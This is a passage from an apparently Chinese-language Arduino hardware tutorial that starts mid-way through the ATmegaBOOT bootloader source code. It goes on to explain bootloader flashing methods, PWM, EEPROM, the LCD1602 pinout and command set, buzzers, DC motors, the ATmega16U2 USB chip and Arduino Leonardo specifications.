bytes)                              "lds    r25,length+1    /n/t"                              "sbrs r24,0        /n/t"  //Even up an odd number of bytes                              "rjmp length_loop        /n/t"                              "adiw r24,1        /n/t"                              "length_loop:        /n/t"    //Main loop, repeat for number of words in block                                                                                        "cpi    r17,0x00    /n/t"    //If page_word_count=0 then erase page                              "brne    no_page_erase    /n/t"                                                       "rcall  wait_spm        /n/t" //                             "wait_spm1:        /n/t" //                             "lds    r16,%0        /n/t"    //Wait for previous spm to complete //                             "andi    r16,1           /n/t" //                             "cpi    r16,1           /n/t" //                             "breq    wait_spm1       /n/t"                              "ldi    r16,0x03    /n/t"    //Erase page pointed to by Z                              "sts    %0,r16        /n/t"                              "spm            /n/t"                                                           "rcall  wait_spm        /n/t" //                             "wait_spm2:        /n/t" //                             "lds    r16,%0        /n/t"    //Wait for previous spm to complete //                             "andi    r16,1           /n/t" //                             "cpi    r16,1           /n/t" //                             "breq    wait_spm2       /n/t"                                                                   "ldi    r16,0x11    /n/t"    //Re-enable RWW section                              "sts    %0,r16        /n/t"                                                                    "spm            /n/t"                              "no_page_erase:        /n/t"                                                           "ld    r0,Y+        /n/t"    //Write 2 bytes into page buffer                              "ld    r1,Y+        /n/t"                                                                                                     "rcall  wait_spm        /n/t" //                             "wait_spm3:        /n/t" //                             "lds    r16,%0        /n/t"    //Wait for previous spm to complete //                             "andi    r16,1           /n/t" //                             "cpi    r16,1           /n/t" //                             "breq    wait_spm3       /n/t"                              "ldi    r16,0x01    /n/t"    //Load r0,r1 into FLASH page buffer                              "sts    %0,r16        /n/t"                              "spm            /n/t"                                                                        "inc    r17        /n/t"    //page_word_count++                              "cpi r17,%1            /n/t"                              "brlo    same_page    /n/t"    //Still same page in FLASH                              "write_page:        /n/t"                              "clr    r17        /n/t"    //New page, write current one first                              "rcall  wait_spm        /n/t" //                             "wait_spm4:        /n/t" //                             "lds    r16,%0        /n/t"    //Wait for previous spm to complete //                             "andi    r16,1           /n/t" //                             "cpi    r16,1           /n/t" //                             "breq    wait_spm4       /n/t"                              "ldi    r16,0x05    /n/t"    //Write page pointed to by Z                              "sts    %0,r16        /n/t"                              "spm            /n/t"                              "rcall  wait_spm        /n/t" //                             "wait_spm5:        /n/t" //                             "lds    r16,%0        /n/t"    //Wait for previous spm to complete //                             "andi    r16,1           /n/t" //                             "cpi    r16,1           /n/t" //                             "breq    wait_spm5       /n/t"                                                                   "ldi    r16,0x11    /n/t"    //Re-enable RWW section                              "sts    %0,r16        /n/t"                                                                    "spm            /n/t"                                                            "same_page:        /n/t"                                                           "adiw    r30,2        /n/t"    //Next word in FLASH                              "sbiw    r24,2        /n/t"    //length-2                              "breq    final_write    /n/t"    //Finished                              "rjmp    length_loop    /n/t"                                                            "wait_spm:  /n/t"                              "lds    r16,%0        /n/t"    //Wait for previous spm to complete                              "andi    r16,1           /n/t"                              "cpi    r16,1           /n/t"                              "breq    wait_spm       /n/t"                              "ret            /n/t"                                                            "final_write:        /n/t"                              "cpi    r17,0        /n/t"                              "breq    block_done    /n/t"                              "adiw    r24,2        /n/t"    //length+2, fool above check on length after short page write                              "rjmp    write_page    /n/t"                              "block_done:        /n/t"                              "clr    __zero_reg__    /n/t"    //restore zero register                              : "=m" (SPMCR) : "M" (PAGE_SIZE) : "r0","r16","r17","r24","r25","r28","r29","r30","r31");                                  /* Should really add a wait for RWW section to be enabled, don't actually need it since we never */                     /* exit the bootloader without a power cycle anyhow */                 }                 putch(0x14);                 putch(0x10);             }                 }              /* Read memory block mode, length is big endian.  */         else if(ch=='t') {           length.byte[1] = getch();           length.byte[0] = getch();           if (getch() == 'E') flags.eeprom = 1;           else {                 flags.eeprom = 0;                 address.word = address.word << 1;            // address * 2 -> byte location           }           if (getch() == ' ') {                        // Command terminator                 putch(0x14);                 for (w=0;w < length.word;w++) {                // Can handle odd and even lengths okay                     if (flags.eeprom) {                            // Byte access EEPROM read                         putch(eeprom_rb(address.word));                         address.word++;                     } else {                             if (!flags.rampz) putch(pgm_read_byte_near(address.word));                         address.word++;                     }                 }                 putch(0x10);           }         }              /* Get device signature bytes  */         else if(ch=='u') {           if (getch() == ' ') {                 putch(0x14);                 putch(SIG1);                 putch(SIG2);                 putch(SIG3);                 putch(0x10);           }         }              /* Read oscillator calibration byte */         else if(ch=='v') {           byte_response(0x00);         } //    } else { //            time_count++; //            if (time_count>=MAX_TIME_COUNT) { //                app_start(); //            } //        }     } /* end of forever loop */ }  void putch(char ch) {   /* m8 */   while (!(inb(UCSRA) & _BV(UDRE)));   outb(UDR,ch); }  char getch(void) {   /* m8 */     uint32_t count = 0;   while(!(inb(UCSRA) & _BV(RXC))) {         /* HACKME:: here is a good place to count times*/         count++;         if (count > MAX_TIME_COUNT)             app_start();   }   return (inb(UDR)); }  void getNch(uint8_t count) {   uint8_t i;   for(i=0;i<count;i++) {     /* m8 */     //while(!(inb(UCSRA) & _BV(RXC)));     //inb(UDR);         getch(); // need to handle time out   } }  void byte_response(uint8_t val) {   if (getch() == ' ') {     putch(0x14);     putch(val);     putch(0x10);   } }  void nothing_response(void) {   if (getch() == ' ') {     putch(0x14);     putch(0x10);   } }  /* end of file ATmegaBOOT.c */ 

Relevant Link:

 http://baike.baidu.com/link?url=J4DFm0Ge3ALiY0KwV9YG-Fvh8Skn06yyz00rUR_kliwGn2sGGU1ABF4Qw0IPMa2xoSHHiksad4sP3XeZiAxhta http://bbs.elecfans.com/jishu_455272_1_1.html http://wiki.geek-workshop.com/doku.php?id=arduino:hacking:bootloader 

0x7: Bootloader烧写

 1. 使用编程器将Bootloader烧写到falsh中 将Bootloader写入Flash,然后将烧写完毕的Flash插入板子上,这是针对Flash还没有插入板子的情形。编程器也叫device programmer,是对非易失性存储介质和其他电可编程设备进行编程的工具 传统的编程器,需要把Flash从电路板上取下来,插到编程器的接口上,以完成擦除和烧写。现在的编程器发展的方向是ISP(In-System Programming,在系统可编程),就是指电路板上的空白器件可以编程写入最终用户代码,而不需要从电路板上取下器件  2. 使用ADS软件和ARM仿真器 先将编译后的Flash烧写程序加载到SDRAM中,运行Flash烧写程序,在指定Flash烧写的起始地址后,Flash烧写程序将从电脑上把编译好的Bootloader映像烧写到Flash的指定位置  3. 使用Bootloader 这是针对Bootloader已经驻留在Flash的情形,可以通过Bootloader烧Bootloader,Bootloader之所以具有这种功能,是由Bootloader的分段执行特性决定的,当Bootloader在Flash中执行时,主要是把自身剩余的代码复制到SDRAM中,然后进入到SDRAM运行后就可以反过来更新Flash中的Bootloader映像了。如果Bootloader不分段一直在Flash中执行,同时又更新Flash中的数据,这样将造成逻辑错误  4. 处理器支持从ROM启动 有些厂商为了方便用户下载代码和调试,在其处理器内部集成了一个小的ROM,事先固化一小段代码。因为容量有限,代码的功能有限,一般只是初始化串口,然后等待从串口输入数据。这样,串口线实际上就成为了编程器的硬件连接了。比如,Cirrus Logic 的EP93XX系列,它内部集成了一个BootROM,固化代码初始化串口,支持从串口下载数据。那么在Host端只需要相应的开发一个相同串口协议的download程序,就可以完成bootloader(P93XX系列使用的是Redboot)烧写到Falsh里(这里的编程器就可以认为是download+RS-232交叉线),然后从Falsh启动,有Redboot进行下面的工作。因为Redboot实现了串口传输协议和TFTP协议,就可以通过RS-232来进行控制,通过Ethernet完成大的映象文件如kernel和fs的下载固化。这样,从硬件上电,到最后系统启动的所有环节就都很清晰了 ATMEL的AT91RM9200内部也集成了一个ROM,固化代码,同样初始化串口,启动串口传输协议Xmodem,等待输入。官方提供的loader就是完成把U-boot下载固化到flash里面。因为kernel和fs比较大,可以采用压缩,官方提供boot来完成从flash启动后自动解压过程。这样,从flash启动就慢了许多  5. 处理器不支持从ROM启动 还有些厂商为了节省ROM空间,提高集成度,不支持从ROM启动模式。比如三星公司的S3C2410等。这样一种简单的方法就是采用JTAG下载线作为编程器的硬件连接,完成其Bootloader(如Vivi)的烧写。在Windows环境下,针对JTAG硬件连接,编程器的软件有JFlash(JTAG for Flash),SJF,Flash Programmer等。在Linux环境下有JFlash的Linux版本(JFlash+JTAG下载线,S3C2410是提供JTAG接口的) 

Relevant Link:

 http://ackerman.iteye.com/blog/754053 http://blog.csdn.net/dyzhen/article/details/43580587 

5. PWM(脉宽调制 Pulse Width Modulation)

脉宽调制(Pulse-Width Modulation,PWM)是利用微处理器的数字输出,来对模拟电路进行控制的一种非常有效的技术,通过对一系列脉冲的宽度进行调制,来等效的获得所需要的波形(含形状和幅值),即通过改变导通时间占总时间的比例,也就是占空比,达到调整电压和频率的目的广泛应用在从测量、通信到功率控制与变换的许多领域中,用于调压调频,最突出的是针对各种类型的电机应用

0x1: 分类

随着电子技术的发展,出现了多种PWM技术,其中包括

 1. 相电压控制PWM 2. 脉宽PWM 3. 随机PWM 4. SPWM(Sinusoidal PWM,正弦曲线PWM) 5. 线电压控制PWM 

在镍氢电池智能充电器中采用的脉宽PWM法,它是把每一脉冲宽度均相等的脉冲列作为PWM波形,通过改变脉冲列的周期可以调频,改变脉冲的宽度或占空比可以调压,采用适当控制方法即可使电压与频率协调变化。可以通过调整PWM的周期、PWM的占空比而达到控制充电电流的目的
模拟信号的值可以连续变化,其时间和幅度的分辨率都没有限制。模拟信号与数字信号的区别在于后者的取值通常只能属于预先确定的可能取值集合之内,例如在{0V,5V}这一集合中取值
尽管模拟控制看起来可能直观而简单,但它并不总是非常经济或可行的。其中一点就是,模拟电路容易随时间漂移,因而难以调节。能够解决这个问题的精密模拟电路可能非常庞大、笨重(如老式的家庭立体声设备)和昂贵。模拟电路还有可能严重发热,其功耗相对于工作元件两端电压与电流的乘积成正比。模拟电路还可能对噪声很敏感,任何扰动或噪声都肯定会改变电流值的大小。
通过以数字方式控制模拟电路,可以大幅度降低系统的成本和功耗。此外,许多微控制器和DSP已经在芯片上包含了PWM控制器,这使数字控制的实现变得更加容易

0x2: 原理(冲量守恒原理)

对逆变电路开关器件的通断进行控制,使输出端得到一系列幅值相等的脉冲,用这些脉冲来代替正弦波或所需要的波形。也就是在输出波形的半个周期中产生多个脉冲,使各脉冲的等值电压为正弦波形,所获得的输出平滑且低次谐波少。按一定的规则对各脉冲的宽度进行调制,即可改变逆变电路输出电压的大小,也可改变输出频率
例如,把正弦半波波形分成N等份,就可把正弦半波看成由N个彼此相连的脉冲所组成的波形。这些脉冲宽度相等,都等于 ∏/n ,但幅值不等,且脉冲顶部不是水平直线,而是曲线,各脉冲的幅值按正弦规律变化。如果把上述脉冲序列用同样数量的等幅而不等宽的矩形脉冲序列代替,使矩形脉冲的中点和相应正弦等分的中点重合,且使矩形脉冲和相应正弦部分面积(即冲量)相等,就得到一组脉冲序列,这就是PWM波形。可以看出,各脉冲宽度是按正弦规律变化的。根据冲量相等效果相同的原理,PWM波形和正弦半波是等效的。对于正弦的负半周,也可以用同样的方法得到PWM波形
在PWM波形中,各脉冲的幅值是相等的,要改变等效输出正弦波的幅值时,只要按同一比例系数改变各脉冲的宽度即可,因此在交-直-交变频器中,PWM逆变电路输出的脉冲电压就是直流侧电压的幅值
根据上述原理,在给出了正弦波频率,幅值和半个周期内的脉冲数后,PWM波形各脉冲的宽度和间隔就可以准确计算出来。按照计算结果控制电路中各开关器件的通断,就可以得到所需要的PWM波形

0x3: 优点

 1. PWM的一个优点是从处理器到被控系统信号都是数字形式的,无需进行数模转换。让信号保持为数字形式可将噪声影响降到最小。噪声只有在强到足以将逻辑1改变为逻辑0或将逻辑0改变为逻辑1时,也才能对数字信号产生影响 2. 对噪声抵抗能力的增强是PWM相对于模拟控制的另外一个优点,而且这也是在某些时候将PWM用于通信的主要原因。从模拟信号转向PWM可以极大地延长通信距离。在接收端,通过适当的RC或LC网络可以滤除调制高频方波并将信号还原为模拟形式 3. PWM既经济、节约空间、抗噪性能强,是一种值得广大工程师在许多设计应用中使用的有效技术 

Relevant Link:

 http://baike.baidu.com/link?url=OHjAPOBqtajBxSfE8vQ7Lc9FVCbdfBE9hGqoeKXhdfj2tIDnnWd1oXyax76Fc7UFHCrN0Mm238wlTm5ho78n6_ 

6. EEPROM

EEPROM(Electrically Erasable Programmable Read-Only Memory),电可擦可编程只读存储器,一种掉电后数据不丢失的存储芯片。 EEPROM 可以在电脑上或专用设备上擦除已有信息,重新编程。一般用在即插即用
EEPROM(带电可擦写可编程只读存储器)是用户可更改的只读存储器(ROM),其可通过高于普通电压的作用来擦除和重编程(重写)。不像EPROM芯片,EEPROM不需从计算机中取出即可修改。在一个EEPROM中,当计算机在使用的时候可频繁地反复编程,因此EEPROM的寿命是一个很重要的设计考虑参数。EEPROM是一种特殊形式的闪存,其应用通常是个人电脑中的电压来擦写和重编程
EEPROM一般用于即插即用(Plug & Play),常用在接口卡中,用来存放硬件设置数据,也常用在防止软件非法拷贝的"硬件锁"上面

0x1: 基本原理

由EPROM操作的不便,后来出的主板上BIOS ROM芯片大部分都采用EEPROM(Electrically Erasable Programmable ROM,电可擦除可编程ROM)。EEPROM的擦除不需要借助于其它设备,它是以电子信号来修改其内容的,而且是以Byte为最小修改单位,不必将资料全部洗掉才能写入,彻底摆脱了EPROM Eraser和编程器的束缚。EEPROM在写入数据时,仍要利用一定的编程电压,此时,只需用厂商提供的专用刷新程序就可以轻而易举地改写内容,所以,它属于双电压芯片。借助于EEPROM芯片的双电压特性,可以使BIOS具有良好的防毒功能,在升级时,把跳线开关打至"on"的位置,即给芯片加上相应的编程电压,就可以方便地升级;平时使用时,则把跳线开关打至"off"的位置,防止CIH类的病毒对BIOS芯片的非法修改。所以,至今仍有不少主板采用EEPROM作为BIOS芯片并作为自己主板的一大特色

Relevant Link:

 http://baike.baidu.com/link?url=tZFa1CQMpXfPqsSuaRmez6k6NKqAn1c3XUl8pBBLJc5LZueQ4k8cnFHwMMxNP7nPdibyljRY3mJUURc-0I2A7_ 

7. LCD1602

0x1: 显示原理

通过电压来改变填充在两块平行板之间的液晶材料内部分子的排列状况,以达到遮光和透光的目的来显示深浅不一,错落有致的图象,而且只要在两块平板间再加上三元色的滤光层,就可实现显示彩色图象。液晶是具有流动特性的物质,所以只需外加很微小的力量即可使液晶分子运动,以最常见普遍的向列型液晶为例,液晶分子可轻易的借着电场作用使得液晶分子转向,由于液晶的光轴与其分子轴相当一致,故可借此产生光学效果,而当加于液晶的电场移除消失时,液晶将借着其本身的弹性及黏性,液晶分子将十分迅速的回撤消来未加电场前的状态

0x2: 显示特点

 1. 显示质量高: 由于1602LCD每一个点在收到信号后就一直保持那种色彩和亮度,恒定发光,画质高且不会闪烁 2. 数字式接口: 1602液晶屏都是数字式的,和单片机系统的接口更加简单可靠,操作更加方便 3. 体积小、重量轻: 1602液晶模块通过显示屏上的电极控制液晶分子状态来达到显示的目的,在重量上比相同显示面积的传统显示屏要轻得多 4. 功耗低: 相对而言,1602液晶显示屏的功耗主要消耗在其内部的电极和驱动IC上,因而耗电量比其它显示屏要少得多 

0x3: 电路图

Arduino、bootloader、及其相关硬件知识入门学习

1602LCD采用标准的14脚(无背光)或16脚(带背光)接口,各引脚接口说明如下表所示:

编号 符号 引脚说明 编号 符号 引脚说明
1 VSS 电源地 9 D2 数据
2 VDD 电源正极 10 D3 数据
3 VL 液晶显示偏压 11 D4 数据
4 RS 数据/命令选择 12 D5 数据
5 R/W 读/写选择 13 D6 数据
6 E 使能信号 14 D7 数据
7 D0 数据 15 BLA 背光源正极
8 D1 数据 16 BLK 背光源负极

1602液晶模块引脚说明:

 第1脚:VSS为地电源。 第2脚:VDD接5V正电源 第3脚:VL为液晶显示器对比度调整端,接正电源时对比度最弱,接地时对比度最高,对比度过高时会产生"鬼影",使用时可以通过一个10K的电位器调整对比度 第4脚:RS为寄存器选择,高电平时选择数据寄存器、低电平时选择指令寄存器 第5脚:R/W为读写信号线,高电平时进行读操作,低电平时进行写操作。当RS和R/W共同为低电平时可以写入指令或者显示地址,当RS为低电平R/W为高电平时可以读忙信号,当RS为高电平R/W为低电平时可以写入数据 第6脚:E端为使能端,当E端由高电平跳变成低电平时,液晶模块执行命令 第7~14脚:D0~D7为8位双向数据线 第15脚:背光源正极 第16脚:背光源负极 

0x4: 指令说明及时序

1602液晶模块内部的控制器共有11条控制指令,如下表所示

序号 指令 RS R/W D7 D6 D5 D4 D3 D2 D1 D0
1 清显示 0 0 0 0 0 0 0 0 0 1
2 光标返回 0 0 0 0 0 0 0 0 1 *
3 置输入模式 0 0 0 0 0 0 0 1 I/D S
4 显示开/关控制 0 0 0 0 0 0 1 D C B
5 光标或字符移位 0 0 0 0 0 1 S/C R/L * *
6 置功能 0 0 0 0 1 DL N F * *
7 置字符发生存贮器地址 0 0 0 1 字符发生存贮器地址
8 置数据存贮器地址 0 0 1 显示数据存贮器地址
9 读忙标志或地址 0 1 BF 计数器地址
10 写数到CGRAM或DDRAM) 1 0 要写的数据内容
11 从CGRAM或DDRAM读数 1 1 读出的数据内容

1602液晶模块的读写操作、屏幕和光标的操作都是通过指令编程来实现的。(说明:1为高电平、0为低电平)

 指令1:清显示,指令码01H,光标复位到地址00H位置。 指令2:光标复位,光标返回到地址00H。 指令3:光标和显示模式设置 I/D:光标移动方向,高电平右移,低电平左移 S:屏幕上所有文字是否左移或者右移。高电平表示有效,低电平则无效。 指令4:显示开关控制。 D:控制整体显示的开与关,高电平表示开显示,低电平表示关显示 C:控制光标的开与关,高电平表示有光标,低电平表示无光标 B:控制光标是否闪烁,高电平闪烁,低电平不闪烁。 指令5:光标或显示移位 S/C:高电平时移动显示的文字,低电平时移动光标。 指令6:功能设置命令 DL:高电平时为4位总线,低电平时为8位总线 N:低电平时为单行显示,高电平时双行显示 F: 低电平时显示5x7的点阵字符,高电平时显示5x10的点阵字符。 指令7:字符发生器RAM地址设置。 指令8:DDRAM地址设置。 指令9:读忙信号和光标地址 BF:为忙标志位,高电平表示忙,此时模块不能接收命令或者数据,如果为低电平表示不忙。 指令10:写数据。 指令11:读数据。 

0x5: 1602LCD的RAM地址映射及标准字库表

液晶显示模块是一个慢显示器件,所以在执行每条指令之前一定要确认模块的忙标志为低电平,表示不忙,否则此指令失效。要显示字符时要先输入显示字符地址,也就是告诉模块在哪里显示字符,下图是1602的内部显示地址(汇编编程思想)

Arduino、bootloader、及其相关硬件知识入门学习

例如第二行第一个字符的地址是40H,那么是否直接写入40H就可以将光标定位在第二行第一个字符的位置呢?这样不行,因为写入显示地址时要求最高位D7恒定为高电平1所以实际写入的数据应该是01000000B(40H)+10000000B(80H)=11000000B(C0H)。
在对液晶模块的初始化中要先设置其显示模式,在液晶模块显示字符时光标是自动右移的,无需人工干预。每次输入指令前都要判断液晶模块是否处于忙的状态。
1602液晶模块内部的字符发生存储器(CGROM)已经存储了160个不同的点阵字符图形,如图10-58所示,这些字符有:阿拉伯数字、英文字母的大小写、常用的符号、和日文假名等,每一个字符都有一个固定的代码
Relevant Link:

 http://www.xyhlcd.com/proshow_486.html 

8.  蜂鸣器、喇叭

0x1: 蜂鸣器

蜂鸣器的作用  蜂鸣器是一种一体化结构的电子讯响器,采用直流电压供电,广泛应用于计算机、打印机、复印机、报警器、电子玩具、汽车电子设备、电话机、定时器等电子产品中作发声器件。蜂鸣器主要分为压电式蜂鸣器和电磁式蜂鸣器两种类型

 1. 电磁式蜂鸣器: 电磁式蜂鸣器由振荡器、电磁线圈、磁铁、震动膜片及外壳组成。接通电源后,振荡器产生的音频信号电流通过电磁线圈,使电磁线圈产生磁场,震动膜片在电磁线圈和磁铁的相互作用下,周期性地振动发声 2. 压电式蜂鸣器: 压电式蜂鸣器主要由多谐振荡器、压点蜂鸣片、阻抗匹配器及共鸣箱、外壳组成。有的压电式蜂鸣器外壳上还装有发光二极管。多谐振荡器由晶体管或集成电路构成,当接通电源后(5V ~ 15V直流工作电压),多谐振荡器起振,输出1.5 ~ 2.5kHZ的音频信号,阻抗匹配器推动压电蜂鸣片发声 

蜂鸣器在电路中用字母"H"或"HA"(旧标准用"FM"、"LB"、"JD"等)表示

0x2: 有源蜂鸣器与无源蜂鸣器的区别
这里的“源”不是指电源。而是指震荡源。 也就是说,有源蜂鸣器内部带震荡源,所以只要一通电就会叫
而无源内部不带震荡源,所以如果用直流信号无法令其鸣叫。必须用2K~5K的方波去驱动它
有源蜂鸣器往往比无源的贵,就是因为里面多个震荡电路。
无源蜂鸣器的优点是:1.便宜,2.声音频率可控,可以做出“多来米发索拉西”的效果。3.在一些特例中,可以和LED复用一个控制口 有源蜂鸣器的优点是:程序控制方便
0x3: 扬声器

喇叭又叫扬声器,是一种十分常用的电声换能器件,在出声的电子电路中都能见到它喇叭的种类繁多,而且价格相差很大。音频电能通过电磁、压电或静电效应,使其纸盆或膜片振动周围空气造成音响。按换能机理和结构分为

 1. 动圈式(电动式): 电动式喇叭具有电声性能好、结构牢固、成本低等优点,应用广泛 2. 电容式(静电式) 3. 压电式(晶体或陶瓷) 4. 电磁式(压簧式) 5. 电离子式 6. 气动式喇叭等 

按声辐射材料分为

 1. 纸盆式 2. 号筒式 3. 膜片式 

按纸盆形状分圆形、椭圆形、双纸盆和橡皮折环;按工作频率分低音、中音、高音,有的还分成录音机专用、电视机专用、普通和高保真喇叭等;按音圈阻抗分低阻抗和高阻抗;按效果分直辐和环境声等.

0x4: 扬声器(喇叭)工作原理

不同的喇叭工作原理是不一样的最常见最典型的是纸盆式喇叭又称为动圈式喇叭它由三部分组成

 1. 振动系统: 包括锥形纸盆、音圈和定心支片等 2. 磁路系统: 包括永义磁铁、导磁板和场心柱等 3. 辅助系统: 包括盆架、接线板、压边和防尘盖等。当处于磁场中的音圈有音频电流通过时,就产生随音频电流变化的磁场,这一磁场和永久磁铁的磁场发生相互作用,使音圈沿着轴向振动,由于喇叭结构简单、低音丰满、音质柔和、频带宽,但效率较低 

Relevant Link:

 http://www.hongyan-e.com/web/fmqyl.htm http://baike.baidu.com/link?url=hIj5NFZGxccNjOFgCOq-1b9XfliSZva2PbDKU56lvBsfrcJeXT8V7qm-f9qL_d7_2pMsQLeNN_YTtjkmhJzXbK http://baike.baidu.com/link?url=qRI9ZZP2fx7Lidn5Z375GMaeY1_DNGr53NgxaIvkz0vuaCWg_5hQEkp6WoLQ6eON7S5lZIbQyf1oQBLQHEHRoK  http://baike.baidu.com/link?url=QIJICyXgqCAphS4YX0WMNPEPaW-oMa6WfuiciJxrMaUOYH5XdlebgVWQi8bHR5sk7zp3MjTX35XJkKcv5wBraK 

9. 直流电机(direct current machine)

直流电机(direct current machine)是指能将直流电能转换成机械能(直流电动机)或将机械能转换成直流电能(直流发电机)的旋转电机。它是能实现直流电能和机械能互相转换的电机。当它作电动机运行时是直流电动机,将电能转换为机械能;作发电机运行时是直流发电机,将机械能转换为电能

0x1: 组成结构

直流电机的结构应由"定子"和"转子"两大部分组成

 1. 直流电机运行时静止不动的部分称为定子,定子的主要作用是产生磁场,由机座、主磁极、换向极、端盖、轴承和电刷装置等组成 2. 运行时转动的部分称为转子,其主要作用是产生电磁转矩和感应电动势,是直流电机进行能量转换的枢纽,所以通常又称为电枢,由转轴、电枢铁心、电枢绕组、换向器和风扇等组成 

1. 定子

Arduino、bootloader、及其相关硬件知识入门学习

 1. 主磁极: 主磁极的作用是产生气隙磁场。主磁极由主磁极铁心和励磁绕组两部分组成      1) 铁心一般用0.5mm~1.5mm厚的硅钢板冲片叠压铆紧而成,分为极身和极靴两部分,上面套励磁绕组的部分称为极身,下面扩宽的部分称为极靴,极靴宽于极身,既可以调整气隙中磁场的分布,又便于固定励磁绕组     2) 励磁绕组用绝缘铜线绕制而成,套在主磁极铁心上。整个主磁极用螺钉固定在机座上, 2. 换向极: 换向极的作用是改善换向,减小电机运行时电刷与换向器之间可能产生的换向火花,一般装在两个相邻主磁极之间,由换向极铁心和换向极绕组组成。换向极绕组用绝缘导线绕制而成,套在换向极铁心上,换向极的数目与主磁极相等 3. 机座: 电机定子的外壳称为机座。机座的作用有两个     1) 固定主磁极、换向极和端盖,并起整个电机的支撑和固定作用;     2) 机座本身也是磁路的一部分,借以构成磁极之间磁的通路,磁通通过的部分称为磁轭。为保证机座具有足够的机械强度和良好的导磁性能,一般为铸钢件或由钢板焊接而成。 4. 电刷装置: 电刷装置是用来引入或引出直流电压和直流电流的。电刷装置由电刷、刷握、刷杆和刷杆座等组成。电刷放在刷握内,用弹簧压紧,使电刷与换向器之间有良好的滑动接触,刷握固定在刷杆上,刷杆装在圆环形的刷杆座上,相互之间必须绝缘。刷杆座装在端盖或轴承内盖上,圆周位置可以调整,调好以后加以固定 

2. 转子

Arduino、bootloader、及其相关硬件知识入门学习

 1. 电枢铁心: 电枢铁心是主磁路的主要部分,同时用以嵌放电枢绕组,一般电枢铁心采用由0.5mm厚的硅钢片冲制而成的冲片叠压而成,以降低电机运行时电枢铁心中产生的涡流损耗和磁滞损耗。叠成的铁心固定在转轴或转子支架上。铁心的外圆开有电枢槽,槽内嵌放电枢绕组。 2. 电枢绕组: 电枢绕组的作用是产生"电磁转矩"和"感应电动势",是直流电机进行能量变换的关键部件,所以叫电枢。它是由许多线圈按一定规律连接而成,线圈采用高强度漆包线或玻璃丝包扁铜线绕成,不同线圈的线圈边分上下两层嵌放在电枢槽中,线圈与铁心之间以及上、下两层线圈边之间都必须妥善绝缘。为防止离心力将线圈边甩出槽外,槽口用槽楔固定。线圈伸出槽外的端接部分用热固性无纬玻璃带进行绑扎 3. 换向器: 在直流电动机中,换向器配以电刷,能将外加直流电源转换为电枢线圈中的交变电流,使电磁转矩的方向恒定不变;在直流发电机中,换向器配以电刷,能将电枢线圈中感应产生的交变电动势转换为正、负电刷上引出的直流电动势。换向器是由许多换向片组成的圆柱体,换向片之间用云母片绝缘 4. 转轴: 转轴起转子旋转的支撑作用,需有一定的机械强度和刚度,一般用圆钢加工而成  

Relevant Link:

 http://baike.baidu.com/link?url=LpKxhOLQdhig_rIGLuMl5NqLd03-YBWfx_Ckj731-2cUl8P3MQglVFgz1_77Pj01Iz3uy1yiyIXwzdjvbqEqIa http://www.dzkfw.com.cn/jichu/jidian/1276.html 

10. USB接口芯片

Arduino UNO上搭载ATmega8U2/ATmega16U2 USB接口芯片,其特征包括

 1. 8K/16K字节的Flash,支持自擦写功能。512字节EEPROM和512字节SRAM (8U和16U的不同处是Flash容量) 2. 内置Boot-Loader功能 3. 支持USB全速,包含4个USB输入输出端口 4. 包含内置晶振 5. 操作电压范围为2.7V~5.5V     1) 2.7V时,最大工作频率是8MHz     2) 4.5V时,最大工作频率是16MHz 

Arduino、bootloader、及其相关硬件知识入门学习

Relevant Link:

 http://blog.sina.com.cn/s/blog_89999fc70100zujs.html http://www.atmel.com/zh/cn/Images/7799S.pdf http://pdf.114ic.com/ATMEGA16U2.html 

11. arduino系列产品

0x1: Arduino Leonardo atmega328p-pu

Arduino、bootloader、及其相关硬件知识入门学习

Arduino Leonardo是基于ATmega32u4一个微控制器板。它有20个数字输入/输出引脚(其中7个可用于PWM输出、12个可用于模拟输入),一个16 MHz的晶体振荡器,一个Micro USB接口,一个DC接口,一个ICSP接口,一个复位按钮。它包含了支持微控制器所需的一切,你可以简单地通过把它连接到计算机的USB接口,或者使用AC-DC适配器,再或者用电池来驱动它。Leonardo不同于之前所有的arduino控制器,他直接使用了ATmega32u4的USB通信功能,取消了USB转UART芯片。这使得Leonardo不仅可以作为一个虚拟的(CDC)串行/ COM端口,还可以作为鼠标或者键盘连接到计算机。它还有很多不同的地方,我们会在入门页面中介绍

 微控制器                          ATmega32u4 工作电压                          5V 输入电压(推荐)             7-12V 输入电压(限制)             6-20V 数字I/O引脚                     20 PWM通道                         7 模拟输入通道                   12 每个I/O直流输出能力       40毫安 3.3V端口输出能力            50毫安 Flash                              32 KB(ATmega32u4)其中4 KB由引导程序使用 SRAM                             2.5 KB(ATmega32u4) EEPROM                         1 KB(ATmega32u4) 时钟速度                         16MHz 

1. 电源

Arduino Leonardo可以通过Micro USB接口或外接电源供电。电源可以自动被选择
外部(非USB)电源可以用AC-DC适配器(wall-wart)或电池。适配器可以插在一个2.1毫米规格中心是正极的电源插座上,以此连接到控制器电源。从电池的信息,可以插在电源连接器的GND和VIN引脚头
可以输入6V-20V的外部电源。但是,如果低于7V,5V引脚将提供小于5V的电源,控制板可能会不稳定。如果使用大于12V的电源稳压器可能过热,从而损坏电路板。推荐的范围是7V-12V
电源引脚如下

 1. VIN使用外接电源(而不是从USB连接或其它稳压电源输入的5V)。可以通过此引脚提供的电压,或者,通过该引脚使用电源座输入的电压 2. 5V稳压电源是供给电路板上的微控制器和其他组件使用的电源。可以从VIN输入通过板上稳压器,或通过USB或其他5V稳压电源提供 3. 3V3板上稳压器产生一个3.3V的电源。最大电流为50毫安 4. GND接地引脚 5. IOREF电压板的I/O引脚工作(连接到板子上的VCC,在Leonardo上为5V) 

2. 存储空间

ATmega32u4具有32KB的Flash(其中4KB被引导程序使用)。它还有2.5KB的SRAM和1KB的EEPROM

3. 输入和输出

通过使用pinMode(), digitalWrite(), and digitalRead() 函数,Leonardo上的20个I/O引脚中的每一个都可以作为输入输出端口。每个引脚都有一个20-50千欧的内部上拉电阻(默认断开),可以输出或者输入最大40ma的电流。此外部分引脚还有专用功能

